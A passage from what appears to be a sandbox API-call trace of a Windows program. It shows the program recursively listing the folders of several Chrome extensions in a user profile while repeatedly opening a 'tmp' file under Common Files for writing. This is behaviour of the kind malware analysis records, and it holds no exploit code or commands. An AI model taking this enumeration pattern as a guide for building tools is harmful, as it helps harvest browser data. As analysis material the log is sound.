Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31d2c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.020] AreFileApisANSI () returned 1 [0134.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.021] GetFileType (hFile=0x19c) returned 0x1 [0134.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31e2e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.021] AreFileApisANSI () returned 1 [0134.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.021] GetFileType (hFile=0x19c) returned 0x1 [0134.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31f30, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.021] AreFileApisANSI () returned 1 [0134.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.021] GetFileType (hFile=0x19c) returned 0x1 [0134.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x32032, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.022] AreFileApisANSI () returned 1 [0134.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.022] GetFileType (hFile=0x19c) returned 0x1 [0134.022] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x32134, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.022] AreFileApisANSI () returned 1 [0134.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.022] GetFileType (hFile=0x19c) returned 0x1 [0134.022] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x32236, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0134.022] AreFileApisANSI () returned 1 [0134.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.022] GetFileType (hFile=0x19c) returned 0x1 [0134.022] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x32338, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.023] AreFileApisANSI () returned 1 [0134.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.023] GetFileType (hFile=0x19c) returned 0x1 [0134.023] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x3243d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.023] AreFileApisANSI () returned 1 [0134.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.023] GetFileType (hFile=0x19c) returned 0x1 [0134.023] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x32542, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.023] AreFileApisANSI () returned 1 [0134.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.023] GetFileType (hFile=0x19c) returned 0x1 [0134.023] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x33000, nFileSizeHigh=0x0, nFileSizeLow=0x32647, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.024] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.071] GetLastError () returned 0x12 [0134.071] AreFileApisANSI () returned 1 [0134.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.072] GetFileType (hFile=0x198) returned 0x1 [0134.072] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0134.072] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.072] GetLastError () returned 0x12 [0134.073] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.073] GetLastError () returned 0x12 [0134.073] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.073] GetLastError () returned 0x12 [0134.073] AreFileApisANSI () returned 1 [0134.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.073] GetFileType (hFile=0x190) returned 0x1 [0134.073] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.073] AreFileApisANSI () returned 1 [0134.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.074] GetFileType (hFile=0x194) returned 0x1 [0134.074] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.165] AreFileApisANSI () returned 1 [0134.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.166] GetFileType (hFile=0x198) returned 0x1 [0134.166] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0134.224] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.224] GetLastError () returned 0x12 [0134.224] AreFileApisANSI () returned 1 [0134.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.224] GetFileType (hFile=0x198) returned 0x1 [0134.224] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0134.225] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.225] GetLastError () returned 0x12 [0134.225] AreFileApisANSI () returned 1 [0134.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.225] GetFileType (hFile=0x198) returned 0x1 [0134.225] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0134.321] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.322] GetLastError () returned 0x12 [0134.322] AreFileApisANSI () returned 1 [0134.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.322] GetFileType (hFile=0x198) returned 0x1 [0134.322] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x33000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x32d31, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0134.322] AreFileApisANSI () returned 1 [0134.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.322] GetFileType (hFile=0x198) returned 0x1 [0134.322] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x33000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x32e34, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0134.323] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.323] GetLastError () returned 0x12 [0134.323] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.323] GetLastError () returned 0x12 [0134.323] AreFileApisANSI () returned 1 [0134.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.323] GetFileType (hFile=0x190) returned 0x1 [0134.323] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.323] AreFileApisANSI () returned 1 [0134.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 